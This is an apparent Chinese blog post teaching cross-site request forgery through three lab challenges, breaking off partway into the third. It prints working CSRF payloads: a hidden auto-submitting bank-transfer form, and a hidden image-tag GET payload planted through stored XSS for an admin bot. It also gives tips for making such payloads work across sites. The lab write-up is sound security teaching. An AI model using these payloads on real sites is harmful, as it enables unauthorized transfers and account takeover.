{"id":108868,"date":"2026-09-22T21:48:53","date_gmt":"2026-09-22T13:48:53","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/108868.html"},"modified":"2026-09-22T21:48:53","modified_gmt":"2026-09-22T13:48:53","slug":"%e6%9d%82%e8%ae%b0-08-csrf-%e8%b7%a8%e7%ab%99%e8%af%b7%e6%b1%82%e4%bc%aa%e9%80%a0","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/108868.html","title":{"rendered":"\u6742\u8bb0 08 CSRF \u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020"},"content":{"rendered":"

<\/h2>\n

CSRF \u7684\u672c\u8d28\u53ea\u6709\u4e00\u53e5\u8bdd：\u6211\u8ba9\u4f60（\u5df2\u767b\u5f55\u7528\u6237）\u7684\u6d4f\u89c8\u5668，\u66ff\u6211\u53d1\u4e00\u4e2a\u8bf7\u6c42\u3002 \u672c\u6587\u6309\u300c\u539f\u7406 \u2192 GET\/POST \u4e24\u79cd\u7c7b\u578b \u2192 \u4e09\u4e2a\u9012\u8fdb\u9776\u573a \u2192 XSS \u5bf9\u6bd4 \u2192 \u9632\u5fa1\u300d\u7ec4\u7ec7，\u9776\u573a\u96be\u5ea6\u4ece 1 \u7ea7\u9012\u8fdb\u5230\u9ad8\u9636\u3002<\/p>\n

\u26a0\ufe0f \u672c\u6587\u6240\u6709\u6d4b\u8bd5\u5747\u5728\u6388\u6743\u9776\u573a\u4e2d\u5b8c\u6210，\u4ec5\u7528\u4e8e\u5b89\u5168\u5b66\u4e60\u4e0e\u9632\u5fa1\u7814\u7a76，\u8bf7\u52ff\u7528\u4e8e\u672a\u6388\u6743\u76ee\u6807\u3002<\/p>\n

\n

\u4e00\u3001CSRF \u6838\u5fc3\u539f\u7406<\/h3>\n

1.1 \u4ec0\u4e48\u662f CSRF<\/h4>\n

\u5168\u79f0：Cross-Site Request Forgery（\u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020）<\/p>\n

\u5b9a\u4e49：\u653b\u51fb\u8005\u8bf1\u5bfc\u53d7\u5bb3\u8005\u8fdb\u5165\u7b2c\u4e09\u65b9\u7f51\u7ad9，\u5728\u7b2c\u4e09\u65b9\u7f51\u7ad9\u4e2d\u5411\u88ab\u653b\u51fb\u7f51\u7ad9\u53d1\u9001\u8de8\u7ad9\u8bf7\u6c42\u3002\u5229\u7528\u53d7\u5bb3\u8005\u5728\u88ab\u653b\u51fb\u7f51\u7ad9\u5df2\u83b7\u53d6\u7684\u51ed\u8bc1（Cookie），\u7ed5\u8fc7\u540e\u53f0\u9a8c\u8bc1，\u8fbe\u5230\u5192\u5145\u7528\u6237\u6267\u884c\u64cd\u4f5c\u7684\u76ee\u7684\u3002<\/p>\n

\u7ffb\u8bd1\u6210\u5927\u767d\u8bdd：<\/p>\n

\u6211\u4e0d\u9700\u8981\u77e5\u9053\u4f60\u7684\u5bc6\u7801，\u4e5f\u4e0d\u9700\u8981\u5077\u4f60\u7684 Cookie\u3002\u6211\u53ea\u9700\u8981\u8ba9\u4f60\u7684\u6d4f\u89c8\u5668，\u7528\u4f60\u5df2\u767b\u5f55\u7684\u8eab\u4efd，\u66ff\u6211\u628a\u8fd9\u4e2a\u8bf7\u6c42\u53d1\u51fa\u53bb\u3002<\/p>\n

1.2 \u6839\u56e0：\u6d4f\u89c8\u5668\u7684"\u81ea\u52a8\u5e26 Cookie"\u673a\u5236<\/h4>\n

\u8fd9\u662f\u7406\u89e3 CSRF \u7684\u552f\u4e00\u5173\u952e\u70b9\u3002<\/p>\n

\u53ea\u8981\u7528\u6237\u767b\u5f55\u8fc7\u67d0\u7f51\u7ad9，\u6d4f\u89c8\u5668\u5c31\u4fdd\u5b58\u4e86\u8be5\u7ad9\u7684 Cookie\u3002\u6b64\u540e，\u65e0\u8bba\u8bf7\u6c42\u662f\u4ece\u54ea\u4e2a\u9875\u9762\u53d1\u8d77\u7684\u2014\u2014\u54ea\u6015\u53d1\u8d77\u65b9\u662f\u4e00\u4e2a\u5b8c\u5168\u65e0\u5173\u7684\u6076\u610f\u7f51\u7ad9\u2014\u2014\u53ea\u8981\u8bf7\u6c42\u7684\u76ee\u6807\u57df\u540d\u662f\u8be5\u7f51\u7ad9，\u6d4f\u89c8\u5668\u90fd\u4f1a\u81ea\u52a8\u5728\u8bf7\u6c42\u5934\u91cc\u5e26\u4e0a\u8fd9\u4e2a Cookie\u3002<\/p>\n

\u53d7\u5bb3\u8005\u5728 bank.com \u767b\u5f55 \u2192 \u6d4f\u89c8\u5668\u5b58\u4e0b session Cookie
\n \u00a0 \u00a0 \u00a0 \u2193
\n\u53d7\u5bb3\u8005\u8bbf\u95ee evil.com（\u6076\u610f\u7ad9）
\n \u00a0 \u00a0 \u00a0 \u2193
\nevil.com \u5077\u5077\u5411 bank.com\/transfer \u53d1\u8bf7\u6c42
\n \u00a0 \u00a0 \u00a0 \u2193
\n\u6d4f\u89c8\u5668\u81ea\u52a8\u9644\u4e0a bank.com \u7684 Cookie \u2190 \u670d\u52a1\u5668\u65e0\u6cd5\u5206\u8fa8\u8fd9\u662f\u4e0d\u662f\u672c\u4eba\u64cd\u4f5c
\n \u00a0 \u00a0 \u00a0 \u2193
\n\u94f6\u884c\u9a8c\u8bc1 Cookie \u6709\u6548 \u2192 \u6267\u884c\u8f6c\u8d26<\/p>\n

📌 "\u81ea\u52a8\u5e26 Cookie"\u662f\u6d4f\u89c8\u5668\u7684\u6b63\u5e38\u7279\u6027，\u4e0d\u662f Bug\u3002 \u6b63\u662f\u5b83\u8ba9 Web \u4f1a\u8bdd\u673a\u5236\u5f97\u4ee5\u5de5\u4f5c，\u4e5f\u6b63\u56e0\u5982\u6b64，\u624d\u6709\u4e86 CSRF\u3002<\/p>\n

1.3 \u6f0f\u6d1e\u6210\u7acb\u7684\u4e09\u4e2a\u6761\u4ef6<\/h4>\n\n#\u6761\u4ef6\u8bf4\u660e<\/tr>\n\n\n\n\n
1<\/td>\n\u7528\u6237\u5df2\u767b\u5f55\u76ee\u6807\u7ad9<\/td>\n\u6d4f\u89c8\u5668\u91cc\u5b58\u5728\u6709\u6548\u7684\u4f1a\u8bdd Cookie<\/td>\n<\/tr>\n
2<\/td>\n\u8bf7\u6c42\u53c2\u6570\u53ef\u9884\u6d4b<\/td>\n\u654f\u611f\u64cd\u4f5c\u7684\u53c2\u6570\u662f\u56fa\u5b9a\u7684，\u6ca1\u6709\u4e0d\u53ef\u9884\u6d4b\u7684 Token<\/td>\n<\/tr>\n
3<\/td>\n\u65e0\u4e8c\u6b21\u9a8c\u8bc1<\/td>\n\u64cd\u4f5c\u4e0d\u9700\u8981\u91cd\u65b0\u8f93\u5165\u539f\u5bc6\u7801\u3001\u77ed\u4fe1\u9a8c\u8bc1\u7801\u7b49<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\u653b\u51fb\u4fa7\u7684\u524d\u63d0：\u653b\u51fb\u8005\u80fd\u6784\u9020\u6076\u610f\u9875\u9762，\u5e76\u8ba9\u53d7\u5bb3\u8005\u8bbf\u95ee\u5b83\u3002<\/p>\n

💡 \u53cd\u8fc7\u6765\u770b，\u8fd9\u4e09\u6761\u5c31\u662f\u9632\u5fa1\u7684\u7740\u624b\u70b9：\u52a0 Token\u3001\u52a0\u4e8c\u6b21\u9a8c\u8bc1\u3001\u8ba9\u6d4f\u89c8\u5668\u4e0d\u5e26 Cookie（SameSite）\u3002<\/p>\n

1.4 \u6f84\u6e05：\u4e3a\u4ec0\u4e48\u53eb"\u8de8\u7ad9"<\/h4>\n

\u56e0\u4e3a\u8bf7\u6c42\u7684\u53d1\u8d77\u65b9（\u6076\u610f\u7ad9 evil.com）\u4e0e\u76ee\u6807（\u88ab\u653b\u51fb\u7ad9 bank.com）\u4e0d\u540c\u7ad9\u3002<\/p>\n

\u26a0\ufe0f \u672c\u7b14\u8bb0\u9776\u573a\u7684\u4e00\u5904\u7b80\u5316：\u4e3a\u4e86\u6f14\u793a\u65b9\u4fbf，\u9776\u573a\u628a\u6076\u610f\u9875\u9762\u548c\u88ab\u653b\u51fb\u7cfb\u7edf\u653e\u5728\u4e86\u540c\u4e00\u53f0\u4e3b\u673a\u4e0a（\u5982 \/evil \u4e0e \/transfer）\u3002\u771f\u5b9e\u573a\u666f\u4e2d，\u6076\u610f\u9875\u9762\u4f4d\u4e8e\u7b2c\u4e09\u65b9\u57df\u540d\u3002\u4e0d\u8fc7\u6838\u5fc3\u673a\u5236\u2014\u2014"\u6d4f\u89c8\u5668\u81ea\u52a8\u5e26 Cookie"\u2014\u2014\u4e0d\u53d7\u5f71\u54cd，\u8de8\u7ad9\u7167\u6837\u6210\u7acb\u3002<\/p>\n

💡 \u5199\u771f\u5b9e payload \u7684\u6ce8\u610f\u4e8b\u9879：\u8868\u5355\u7684 action \u8981\u5199\u6210\u7edd\u5bf9\u5730\u5740（http:\/\/bank.com\/transfer）\u3002\u9776\u573a\u91cc\u5199\u76f8\u5bf9\u8def\u5f84 \/transfer \u80fd\u901a，\u662f\u56e0\u4e3a\u6076\u610f\u9875\u548c\u94f6\u884c\u5728\u540c\u4e00\u4e3b\u673a；\u771f\u5b9e\u8de8\u7ad9\u65f6，\u76f8\u5bf9\u8def\u5f84\u4f1a\u63d0\u4ea4\u5230\u6076\u610f\u7ad9\u81ea\u5df1，\u653b\u51fb\u76f4\u63a5\u5931\u8d25\u3002<\/p>\n

1.5 GET \u578b\u4e0e POST \u578b<\/h4>\n

\u4e09\u4e2a\u9776\u573a\u6b63\u597d\u8986\u76d6\u8fd9\u4e24\u79cd\u7c7b\u578b：<\/p>\n\n\u7c7b\u578b\u53c2\u6570\u4f4d\u7f6e\u5229\u7528\u6807\u7b7e\u89e6\u53d1\u65b9\u5f0f<\/tr>\n\n\n\n
GET \u578b<\/td>\nURL \u67e5\u8be2\u4e32<\/td>\n<img>\u3001<iframe>\u3001<script><\/td>\n\u9875\u9762\u52a0\u8f7d\u5373\u81ea\u52a8\u53d1\u9001，\u65e0\u9700\u4ea4\u4e92<\/td>\n<\/tr>\n
POST \u578b<\/td>\n\u8bf7\u6c42\u4f53<\/td>\n<form> + JS \u81ea\u52a8\u63d0\u4ea4<\/td>\n\u9700\u6784\u9020\u8868\u5355\u5e76 submit()<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
\n

\u4e8c\u3001\u9776\u573a\u4e00：CSRF \u6a21\u62df\u6f14\u7ec3\u573a（1 \u7ea7 \u00b7 \u9690\u85cf\u8868\u5355）<\/h3>\n

2.1 \u9776\u573a\u4fe1\u606f<\/h4>\n\n\u9879\u76ee\u503c<\/tr>\n\n\n\n\n\n
\u9776\u573a\u540d\u79f0<\/td>\nCSRF \u6a21\u62df\u6f14\u7ec3\u573a<\/td>\n<\/tr>\n
\u96be\u5ea6<\/td>\n1 \u7ea7（\u5165\u95e8）<\/td>\n<\/tr>\n
\u8003\u5bdf\u70b9<\/td>\n\u7406\u89e3 CSRF \u539f\u7406，\u638c\u63e1\u57fa\u7840\u7684 CSRF \u5229\u7528\u65b9\u5f0f<\/td>\n<\/tr>\n
\u6838\u5fc3\u573a\u666f<\/td>\n\u6a21\u62df\u94f6\u884c\u8f6c\u8d26\u7cfb\u7edf + \u6076\u610f\u4e2d\u5956\u7f51\u7ad9<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

2.2 \u7b2c\u4e00\u6b65：\u6293\u5305\u5206\u6790\u6b63\u5e38\u6d41\u7a0b<\/h4>\n
  • \n

    \u5728\u94f6\u884c\u7cfb\u7edf \/dashboard \u70b9\u51fb"\u53d1\u8d77\u8f6c\u8d26"，\u8f93\u5165\u76ee\u6807\u8d26\u53f7 bob\u3001\u91d1\u989d 100<\/p>\n<\/li>\n

  • \n

    \u7528 Burp Suite \u6293\u4e0b\u8fd9\u4e2a\u8bf7\u6c42，\u8bb0\u5f55\u5173\u952e\u4fe1\u606f：<\/p>\n<\/li>\n\n\u9879\u76ee\u503c<\/tr>\n\n\n\n\n\n
    \u8bf7\u6c42\u65b9\u6cd5<\/td>\nPOST<\/td>\n<\/tr>\n
    \u8bf7\u6c42 URL<\/td>\n\/transfer<\/td>\n<\/tr>\n
    \u8bf7\u6c42\u53c2\u6570<\/td>\nto_user=bob&amount=100<\/td>\n<\/tr>\n
    \u8bf7\u6c42\u5934<\/td>\nCookie: session=…；Referer \u4e3a\u94f6\u884c\u7cfb\u7edf\u81ea\u8eab\u57df\u540d<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

    \u5173\u952e\u53d1\u73b0：\u8bf7\u6c42\u53c2\u6570\u91cc\u6ca1\u6709 Token\u3002 \u53c2\u6570\u5b8c\u5168\u53ef\u9884\u6d4b \u2192 \u5b58\u5728 CSRF \u6f0f\u6d1e\u3002<\/p>\n

    2.3 \u7b2c\u4e8c\u6b65：\u6784\u9020\u6076\u610f\u9875\u9762<\/h4>\n

    \u9776\u573a\u63d0\u4f9b\u4e86\u4e00\u4e2a\u6076\u610f\u7f51\u7ad9（\u8def\u5f84 \/evil），\u4f2a\u88c5\u6210"\u514d\u8d39\u793c\u7269\u7f51\u7ad9"\u3002\u6838\u5fc3\u6e90\u7801：<\/p>\n

    <!– 1. \u9690\u85cf\u7684 CSRF \u8868\u5355（\u7528\u6237\u4e0d\u53ef\u89c1） –>
    \n<form id="csrf-form" method="POST" action="\/transfer" class="hidden-form">
    \n \u00a0 \u00a0<input type="hidden" name="to_user" value="bob">
    \n \u00a0 \u00a0<input type="hidden" name="amount" value="100">
    \n<\/form>
    \n\u200b
    \n<!– 2. \u8bf1\u5bfc\u7528\u6237\u70b9\u51fb\u7684\u6309\u94ae –>
    \n<button onclick="executeCSRF()" class="claim-btn">🚀 \u7acb\u5373\u9886\u53d6\u5956\u91d1！<\/button>
    \n\u200b
    \n<!– 3. \u89e6\u53d1\u653b\u51fb\u7684 JavaScript –>
    \n<script>
    \nfunction executeCSRF() {
    \n \u00a0 \u00a0const resultDiv = document.getElementById('attack-result');
    \n \u00a0 \u00a0resultDiv.style.display = 'block';
    \n \u00a0 \u00a0resultDiv.innerHTML = '…\u6b63\u5728\u6267\u884cCSRF\u653b\u51fb…';
    \n\u200b
    \n \u00a0 \u00a0\/\/ \u5ef6\u8fdf 1 \u79d2\u540e，\u81ea\u52a8\u63d0\u4ea4\u9690\u85cf\u8868\u5355
    \n \u00a0 \u00a0setTimeout(() => {
    \n \u00a0 \u00a0 \u00a0 \u00a0document.getElementById('csrf-form').submit();
    \n \u00a0 }, 1000);
    \n}
    \n<\/script><\/p>\n

    \u4ee3\u7801\u903b\u8f91\u89e3\u6790：<\/p>\n\n\u7247\u6bb5\u4f5c\u7528<\/tr>\n\n\n\n\n
    class="hidden-form" + CSS display:none<\/td>\n\u8ba9\u8868\u5355\u5728\u9875\u9762\u4e0a\u5b8c\u5168\u4e0d\u53ef\u89c1<\/td>\n<\/tr>\n
    action="\/transfer"<\/td>\n\u6307\u5411\u94f6\u884c\u7cfb\u7edf\u7684\u8f6c\u8d26\u63a5\u53e3<\/td>\n<\/tr>\n
    method="POST" + input type="hidden"<\/td>\n\u628a\u8f6c\u8d26\u53c2\u6570\u85cf\u5728\u8bf7\u6c42\u4f53\u91cc<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

    \u6267\u884c\u6d41\u7a0b：\u7528\u6237\u70b9\u51fb\u6309\u94ae \u2192 \u89e6\u53d1 executeCSRF() \u2192 \u5ef6\u8fdf 1 \u79d2 \u2192 form.submit() \u2192 \u6d4f\u89c8\u5668\u81ea\u52a8\u5e26\u4e0a\u94f6\u884c\u7cfb\u7edf\u7684 Cookie\u3002<\/p>\n

    💡 \u4e3a\u4ec0\u4e48\u8981\u5ef6\u8fdf 1 \u79d2？ \u7eaf\u7cb9\u662f\u89c6\u89c9\u6b3a\u9a97，\u8ba9\u53d7\u5bb3\u8005\u770b\u5230"\u6b63\u5728\u5904\u7406"\u7684\u63d0\u793a\u3002\u6280\u672f\u4e0a\u53ef\u4ee5\u7acb\u5373\u63d0\u4ea4，\u4e5f\u53ef\u4ee5\u53bb\u6389\u6309\u94ae\u6539\u6210\u9875\u9762\u52a0\u8f7d\u5373\u81ea\u52a8\u63d0\u4ea4\u3002<\/p>\n

    2.4 \u7b2c\u4e09\u6b65：\u6293\u5305\u9a8c\u8bc1\u653b\u51fb\u6548\u679c<\/h4>\n

    \u7528\u6237\u70b9\u51fb\u6076\u610f\u7f51\u7ad9\u7684\u6309\u94ae\u540e，Burp \u91cc\u80fd\u770b\u5230：<\/p>\n

    POST \/transfer HTTP\/1.1
    \nHost: hbc2.haobachang.com
    \n…
    \nReferer: http:\/\/\u7ad9\u70b9:\u7aef\u53e3\/evil \u00a0 <– \u5173\u952e\u8bc1\u636e：\u8bf7\u6c42\u6765\u81ea\u6076\u610f\u9875\u9762
    \nCookie: session=eyJ1c2… \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 <– \u81f4\u547d\u4e00\u51fb：\u6d4f\u89c8\u5668\u81ea\u52a8\u5e26\u4e0a\u4e86\u767b\u5f55\u51ed\u8bc1
    \nContent-Type: application\/x-www-form-urlencoded
    \n\u200b
    \nto_user=bob&amount=100<\/p>\n

    \u54cd\u5e94\u7ed3\u679c：HTTP\/1.1 302 FOUND \u2192 Location: \/dashboard<\/p>\n

    \u670d\u52a1\u5668\u9a8c\u8bc1 Cookie \u6709\u6548，\u6267\u884c\u8f6c\u8d26\u903b\u8f91，\u653b\u51fb\u6210\u529f\u3002<\/p>\n

    \u4e24\u4e2a\u94c1\u8bc1：Referer \u6307\u5411\u6076\u610f\u9875\u9762\u3001Cookie \u88ab\u6d4f\u89c8\u5668\u81ea\u52a8\u643a\u5e26\u2014\u2014\u8fd9\u5c31\u662f CSRF \u7684\u5168\u90e8\u79d8\u5bc6\u3002<\/p>\n

    2.5 \u653b\u51fb\u94fe\u5168\u666f<\/h4>\n

    \u2460 \u653b\u51fb\u8005\u6293\u5305，\u6478\u6e05\u8f6c\u8d26\u63a5\u53e3（POST \/transfer，\u65e0 Token）
    \n \u00a0 \u00a0 \u00a0 \u2193
    \n\u2461 \u5728\u6076\u610f\u9875\u9762\u57cb\u4e00\u4e2a\u9690\u85cf\u8868\u5355，\u53c2\u6570\u5199\u6b7b\u4e3a\u300c\u7ed9 bob \u8f6c 100\u300d
    \n \u00a0 \u00a0 \u00a0 \u2193
    \n\u2462 \u8bf1\u5bfc\u53d7\u5bb3\u8005\u8bbf\u95ee\u6076\u610f\u9875\u9762（"\u514d\u8d39\u793c\u7269\u7f51\u7ad9"）
    \n \u00a0 \u00a0 \u00a0 \u2193
    \n\u2463 \u8868\u5355\u81ea\u52a8\u63d0\u4ea4 \u2192 \u6d4f\u89c8\u5668\u81ea\u52a8\u9644\u4e0a bank.com \u7684 Cookie
    \n \u00a0 \u00a0 \u00a0 \u2193
    \n\u2464 \u670d\u52a1\u5668\u8ba4\u4e3a\u662f\u672c\u4eba\u64cd\u4f5c \u2192 \u8f6c\u8d26\u6210\u529f<\/p>\n

    \n

    \u4e09\u3001\u9776\u573a\u4e8c：\u5165\u95e8 CSRF（2 \u7ea7 \u00b7 XSS + GET \u578b\u7ec4\u5408\u62f3）<\/h3>\n

    \u8fd9\u4e00\u5173\u7684\u7cbe\u5f69\u4e4b\u5904\u5728\u4e8e：\u5355\u7eaf CSRF \u6253\u4e0d\u901a，\u5fc5\u987b\u5148\u628a XSS \u5f53\u4f5c"\u8df3\u677f"\u3002<\/p>\n

    3.1 \u73af\u5883\u4e0e\u6838\u5fc3\u77db\u76fe<\/h4>\n\n\u9879\u76ee\u503c<\/tr>\n\n\n\n\n\n\n
    \u6280\u672f\u6808<\/td>\nPHP 7.4.27 + Nginx 1.18.0<\/td>\n<\/tr>\n
    \u521d\u59cb\u8d26\u53f7<\/td>\nuser \/ password<\/td>\n<\/tr>\n
    \u521d\u59cb\u4f59\u989d<\/td>\n500 \u5143<\/td>\n<\/tr>\n
    Flag \u552e\u4ef7<\/td>\n1000 \u5143<\/td>\n<\/tr>\n
    \u53ef\u5229\u7528\u529f\u80fd<\/td>\n\u8f6c\u8d26\u3001\u7ed9 admin \u7559\u8a00<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

    \u6838\u5fc3\u77db\u76fe：\u4f59\u989d 500 < \u552e\u4ef7 1000，\u800c\u4e14 user \u81ea\u5df1\u4e5f\u6ca1\u94b1\u53ef\u8f6c\u3002<\/p>\n

    \u7834\u5c40\u65b9\u5411\u53ea\u6709\u4e00\u4e2a：\u60f3\u529e\u6cd5\u82b1\u522b\u4eba\u7684\u94b1\u3002<\/p>\n

    3.2 \u7834\u5c40\u601d\u8def：\u653b\u51fb\u94fe\u7ec4\u5408<\/h4>\n

    \u7cfb\u7edf\u91cc\u6709\u4e2a"\u7ed9 admin \u7559\u8a00"\u7684\u529f\u80fd，\u901a\u5e38\u662f Bot \u81ea\u52a8\u67e5\u770b\u7559\u8a00\u3002\u8fd9\u5c31\u6253\u5f00\u4e86\u601d\u8def\u2014\u2014\u501f\u7528 admin \u7684\u9ad8\u6743\u9650：<\/p>\n\n\u6b65\u9aa4\u624b\u6bb5\u4f5c\u7528<\/tr>\n\n\n\n\n
    1. \u5165\u53e3<\/td>\n\u7559\u8a00\u677f\u5b58\u5728\u5b58\u50a8\u578b XSS（\u672a\u8fc7\u6ee4 HTML\/JS）<\/td>\n\u628a\u4ee3\u7801\u585e\u8fdb admin \u4f1a\u770b\u7684\u9875\u9762<\/td>\n<\/tr>\n
    2. \u6b66\u5668<\/td>\n\u6784\u9020 GET \u578b CSRF payload，\u4f2a\u88c5\u6210\u7559\u8a00\u5185\u5bb9<\/td>\n\u7528 admin \u7684 Cookie \u53d1\u8d77\u8f6c\u8d26<\/td>\n<\/tr>\n
    3. \u89e6\u53d1<\/td>\nadmin（Bot）\u67e5\u770b\u7559\u8a00\u65f6，\u6076\u610f JS \u81ea\u52a8\u6267\u884c<\/td>\n\u653b\u51fb\u843d\u5730<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

    3.3 \u7b2c\u4e00\u6b65：\u6293\u5305，\u53d1\u73b0 GET \u8f6c\u8d26\u63a5\u53e3<\/h4>\n

    \u5728 user \u9875\u9762\u70b9\u51fb"\u8f6c\u8d26"，Burp \u6293\u5305：<\/p>\n

    GET \/transfer.php?to_user=user&amount=10000 HTTP\/1.1
    \nHost: \u7ad9\u70b9:\u7aef\u53e3
    \nCookie: PHPSESSID=…; session=…<\/p>\n

    \u7ed3\u8bba：\u8f6c\u8d26\u63a5\u53e3\u662f GET \u8bf7\u6c42，\u53c2\u6570\u76f4\u63a5\u66b4\u9732\u5728 URL \u4e2d，\u4e14\u6ca1\u6709 CSRF Token\u3002 \u8fde\u8868\u5355\u90fd\u4e0d\u7528\u6784\u9020，\u4e00\u4e2a URL \u5c31\u80fd\u6253\u5b8c\u3002<\/p>\n

    3.4 \u7b2c\u4e8c\u6b65：\u6784\u9020 XSS Payload<\/h4>\n

    \u5229\u7528 <img> \u6807\u7b7e\u7684 src \u5c5e\u6027\u81ea\u52a8\u53d1\u8d77 GET \u8bf7\u6c42，\u5e76\u7528 display:none \u8ba9\u5b83\u4e0d\u53ef\u89c1：<\/p>\n

    <img src="http:\/\/\u7ad9\u70b9:\u7aef\u53e3\/transfer.php?to_user=user&amount=10000" style="display:none;"><\/p>\n

    \u653b\u51fb\u539f\u7406：<\/p>\n

  • \n

    admin \u7684\u6d4f\u89c8\u5668\u52a0\u8f7d\u8fd9\u6bb5 HTML \u65f6，\u4f1a\u81ea\u52a8\u5411 src \u4e2d\u7684 URL \u53d1\u8d77\u8bf7\u6c42<\/p>\n<\/li>\n

  • \n

    \u7531\u4e8e\u8bf7\u6c42\u7531 admin \u7684\u6d4f\u89c8\u5668\u53d1\u8d77，\u81ea\u52a8\u643a\u5e26\u4e86 admin \u7684 Cookie<\/p>\n<\/li>\n

  • \n

    \u670d\u52a1\u5668\u9a8c\u8bc1 Cookie \u6709\u6548 \u2192 \u6267\u884c\u8f6c\u8d26：admin \u221210000，user +10000<\/p>\n<\/li>\n

    3.5 \u7b2c\u4e09\u6b65：\u89e6\u53d1\u7ba1\u7406\u5458 Bot<\/h4>\n
  • \n

    \u628a\u4e0a\u8ff0 payload \u586b\u5165"\u7ed9 admin \u7559\u8a00"\u8f93\u5165\u6846\u5e76\u63d0\u4ea4<\/p>\n<\/li>\n

  • \n

    \u9776\u573a\u540e\u53f0\u542f\u52a8 Headless Browser（\u65e0\u5934\u6d4f\u89c8\u5668），\u4ee5 admin \u7684\u767b\u5f55\u72b6\u6001\u8bbf\u95ee\u7559\u8a00\u9875\u9762<\/p>\n<\/li>\n

  • \n

    Bot \u89e3\u6790\u5230\u6076\u610f <img> \u6807\u7b7e，\u81ea\u52a8\u89e6\u53d1\u8bf7\u6c42<\/p>\n<\/li>\n

  • \n

    \u9875\u9762\u8fd4\u56de"admin \u5df2\u6536\u5230\u60a8\u7684\u7559\u8a00"，\u540c\u65f6 user \u4f59\u989d\u5237\u65b0\u4e3a 10500 \u5143<\/p>\n<\/li>\n

    3.6 \u7b2c\u56db\u6b65：\u8d2d\u4e70 Flag<\/h4>\n

    \u4f59\u989d\u5145\u8db3（10500 > 1000），\u70b9\u51fb"\u8d2d\u4e70 Flag"，\u901a\u5173\u3002<\/p>\n

    3.7 \u590d\u76d8：XSS \u4e0e CSRF \u7684\u5206\u5de5<\/h4>\n\n\u6f0f\u6d1e\u4f5c\u7528\u5728\u672c\u9776\u573a\u4e2d\u7684\u89d2\u8272<\/tr>\n\n\n\n\n
    \u5b58\u50a8\u578b XSS<\/td>\n\u5728\u53d7\u5bb3\u8005\u6d4f\u89c8\u5668\u4e2d\u6267\u884c\u6076\u610f JS<\/td>\n\u653b\u51fb\u5165\u53e3：\u901a\u8fc7\u7559\u8a00\u677f\u6ce8\u5165\u4ee3\u7801<\/td>\n<\/tr>\n
    GET \u578b CSRF<\/td>\n\u5229\u7528\u53d7\u5bb3\u8005 Cookie \u53d1\u8d77\u8bf7\u6c42<\/td>\n\u653b\u51fb\u8f7d\u8377：\u7528 <img> \u81ea\u52a8\u53d1\u8d77\u8f6c\u8d26<\/td>\n<\/tr>\n
    Bot \u673a\u5236<\/td>\n\u6a21\u62df\u7ba1\u7406\u5458\u64cd\u4f5c，\u89e6\u53d1\u6f0f\u6d1e<\/td>\n\u89e6\u53d1\u6761\u4ef6：\u7559\u8a00\u540e Bot \u81ea\u52a8\u67e5\u770b<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

    \u8fd9\u4e00\u5173\u7684\u542f\u793a：CSRF \u5355\u72ec\u4f7f\u7528\u65f6\u9700\u8981"\u8bf1\u5bfc\u70b9\u51fb"，\u800c XSS \u8ba9\u8fd9\u4e00\u6b65\u81ea\u52a8\u5316\u4e86\u2014\u2014admin \u751a\u81f3\u4ec0\u4e48\u90fd\u6ca1\u70b9，\u94b1\u5c31\u6ca1\u4e86\u3002<\/p>\n

    \n

    \u56db\u3001\u9776\u573a\u4e09：POST \u578b CSRF（\u00a0\u6258\u7ba1\u9875\u9762 + \u5b9a\u65f6 Bot）<\/h3>\n

    4.1 \u73af\u5883\u4e0e\u5173\u952e\u673a\u5236<\/h4>\n\n\u9879\u76ee\u503c<\/tr>\n\n\n\n\n\n
    \u521d\u59cb\u8d26\u53f7<\/td>\nuser \/ user<\/td>\n<\/tr>\n
    \u529f\u80fd 1<\/td>\n\u7ba1\u7406 HTML \u9875\u9762：\u5141\u8bb8\u63d0\u4ea4\u4efb\u610f HTML，\u4fdd\u5b58\u4e3a \/static\/poc.html<\/td>\n<\/tr>\n
    \u529f\u80fd 2<\/td>\n\u4fee\u6539\u5bc6\u7801：\u654f\u611f\u64cd\u4f5c，\u672c\u6b21\u7684\u653b\u51fb\u76ee\u6807<\/td>\n<\/tr>\n
    \u5173\u952e\u673a\u5236<\/td>\n\u7cfb\u7edf\u6bcf 30 \u79d2\u81ea\u52a8\u8bbf\u95ee \/static\/poc.html（\u6a21\u62df admin \u7684 Bot \u5b9a\u65f6\u4efb\u52a1）<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

    4.2 \u7834\u5c40\u601d\u8def：\u767d\u9001\u7684"\u6076\u610f\u9875\u9762\u6258\u7ba1"<\/h4>\n

    \u6b63\u5e38\u6253 CSRF，\u653b\u51fb\u8005\u5f97\u81ea\u5df1\u642d\u4e2a\u7f51\u7ad9\u653e\u6076\u610f\u9875\u9762\u3002\u800c\u8fd9\u4e00\u5173\u7684\u9776\u573a\u81ea\u5e26 HTML \u6258\u7ba1\u529f\u80fd\u2014\u2014\u7b49\u4e8e\u767d\u9001\u4e00\u4e2a\u653b\u51fb\u8f7d\u4f53：<\/p>\n

    \u4e0d\u7528\u81ea\u5df1\u642d VPS，\u76f4\u63a5\u628a payload \u5199\u8fdb\u9776\u573a\u81ea\u5df1\u7684 \/static\/poc.html\u3002\u7b49 Bot \u6765\u8bbf\u95ee，payload \u81ea\u52a8\u6267\u884c\u3002<\/p>\n

    4.3 \u7b2c\u4e00\u6b65：\u6293\u5305，\u9501\u5b9a\u653b\u51fb\u76ee\u6807<\/h4>\n
  • \n

    \u70b9\u51fb\u5de6\u4fa7\u83dc\u5355"\u4fee\u6539\u5bc6\u7801"，\u5148\u6b63\u5e38\u6539\u4e00\u6b21\u5bc6\u7801<\/p>\n<\/li>\n

  • \n

    Burp \u6293\u5305，\u5173\u952e\u53d1\u73b0：<\/p>\n<\/li>\n\n\u9879\u76ee\u503c<\/tr>\n\n\n\n\n\n\n
